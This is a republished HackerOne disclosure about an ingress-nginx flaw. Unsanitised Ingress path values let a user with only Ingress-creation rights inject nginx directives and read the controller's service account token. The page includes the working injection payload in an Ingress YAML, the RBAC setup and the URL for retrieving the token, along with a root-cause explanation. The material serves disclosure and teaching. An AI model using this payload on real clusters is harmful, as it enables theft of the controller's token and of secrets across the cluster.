Skip to content
Path traversal Disclosed report Advanced

Ingress-nginx path allows retrieval of ingress-nginx serviceaccount token

A user allowed only to create Ingress resources could inject nginx configuration through the Ingress path field, causing the controller to serve files from its own service account directory. This let the attacker retrieve the ingress-nginx service account token, which could list secrets across all namespaces.

0ria Follow

Originally disclosed on HackerOne

Bounty$2,500 High 7.6 View original
  • Triaged in 20 days
  • Fixed in 9 months
  • Paid in 57 days
  • Disclosed after 9 months

Report Submission Form

Summary:

A user with the permissions to create an ingress resource can obtain the ingress-nginx service account token which can list secrets is all namespaces (cluster wide).

Kubernetes Version:

1.20 (should work on (1.21 as well)

Component Version:

nginx ingress controller v1.0.4

Steps To Reproduce:

I deployed the latest ingress-controller (v1.0.4). I used a user (gaf_test) that has the permissions to get, create and update ingress resources (the “get” permissions is only to allow kubectl to view the newly created resource).

ingress-creator-role.yaml

YAML
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: ingress-creator
  namespace: default
rules:
- apiGroups: ["networking.k8s.io"]
  resources: ["ingresses"]
  verbs: ["get", "create", "update"]

ingress-creator-role-binding.yaml

YAML
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: gaf_test-ingress-creator-binding
  namespace: default
subjects:
- kind: User
  name: gaf_test
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: Role
  name: ingress-creator
  apiGroup: rbac.authorization.k8s.io

This user (gaf_user) cannot list secrets at all.

get-secrets-test.png
get-secrets-test.png From the original on HackerOne

Use this user (gaf_user) to create a new ingress resource in the default namespace.

ingress.yaml

YAML
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: gaf-ingress
  annotations:
    kubernetes.io/ingress.class: "nginx"
spec:
  rules:
  -  http:
      paths:
        - path: /gaf{alias /var/run/secrets/kubernetes.io/serviceaccount/;}location ~* ^/aaa
          pathType: Prefix
          backend:
            service:
              name: some-service
              port:
                number: 5678
kubectl apply -f ingress.yaml
apply.png
apply.png From the original on HackerOne

Access to nginx ingress loadbalancer to /gaf/token path.

https://<host>/gaf/token

token-bro.png
token-bro.png From the original on HackerOne

Decode the token to see it belongs to the ingress-nginx

ingress-nginx-serviceaccount-token.png
ingress-nginx-serviceaccount-token.png From the original on HackerOne

The nginx-ingress service account is bound to the nginx-ingress cluser role that can list secrets in all namespaces.

The Root Cause

When a user creates an ingress resource, the new configuration is updated in the /etc/nginx/nginx.conf file in the ingress-nginx-controller pod located in the nginx-ingress namespace. I caused a “config file injection” using the following payload as path:

/gaf{alias /var/run/secrets/kubernetes.io/serviceaccount/;}location ~ ^/aaa* The payload above creates the following configuration for nginx:

/etc/nginx/nginx.conf

injected-nginx-conf.png
injected-nginx-conf.png From the original on HackerOne

This is the relevant part from the configuration which creates a new route to /gaf path and uses an alias (http://nginx.org/en/docs/http/ngx_http_core_module.html#alias) that maps to /var/run/secrets/kubernetes.io/serviceaccount/ directory on the ingress-nginx-controller pod.

Impact

A user with the permissions to create an ingress resource can obtain the ingress-nginx service account token which can list secrets is all namespaces (cluster wide).

The original report as published on HackerOne, by 0ria. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The Ingress path value was written into the generated nginx configuration without sanitisation, allowing config file injection via nginx alias and location directives.

Impact

An attacker with only Ingress creation rights could obtain the controller's service account token and use it to list secrets cluster-wide.

What the attacker needed

Permission to create Ingress resources; ingress-nginx controller deployed; network access to the ingress load balancer

How it was found

  1. Deploy the ingress-nginx controller and create a user limited to get, create and update Ingress resources.
  2. As that limited user, apply an Ingress whose path contains injected nginx directives.
  3. Request the crafted path on the ingress load balancer to reach the service account directory.
  4. Retrieve and decode the token to confirm it belongs to ingress-nginx.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Kubernetes lets people define 'Ingress' objects to route web traffic, and the nginx ingress controller turns those objects into nginx configuration files. Here the path field was copied into the config without proper escaping, so a crafted path could add extra nginx directives. That let the attacker read a secret file inside the controller's own pod, which holds a token granting broad access to the cluster.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by 0ria

View all

1 more disclosed report, best first.

More from Kubernetes

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.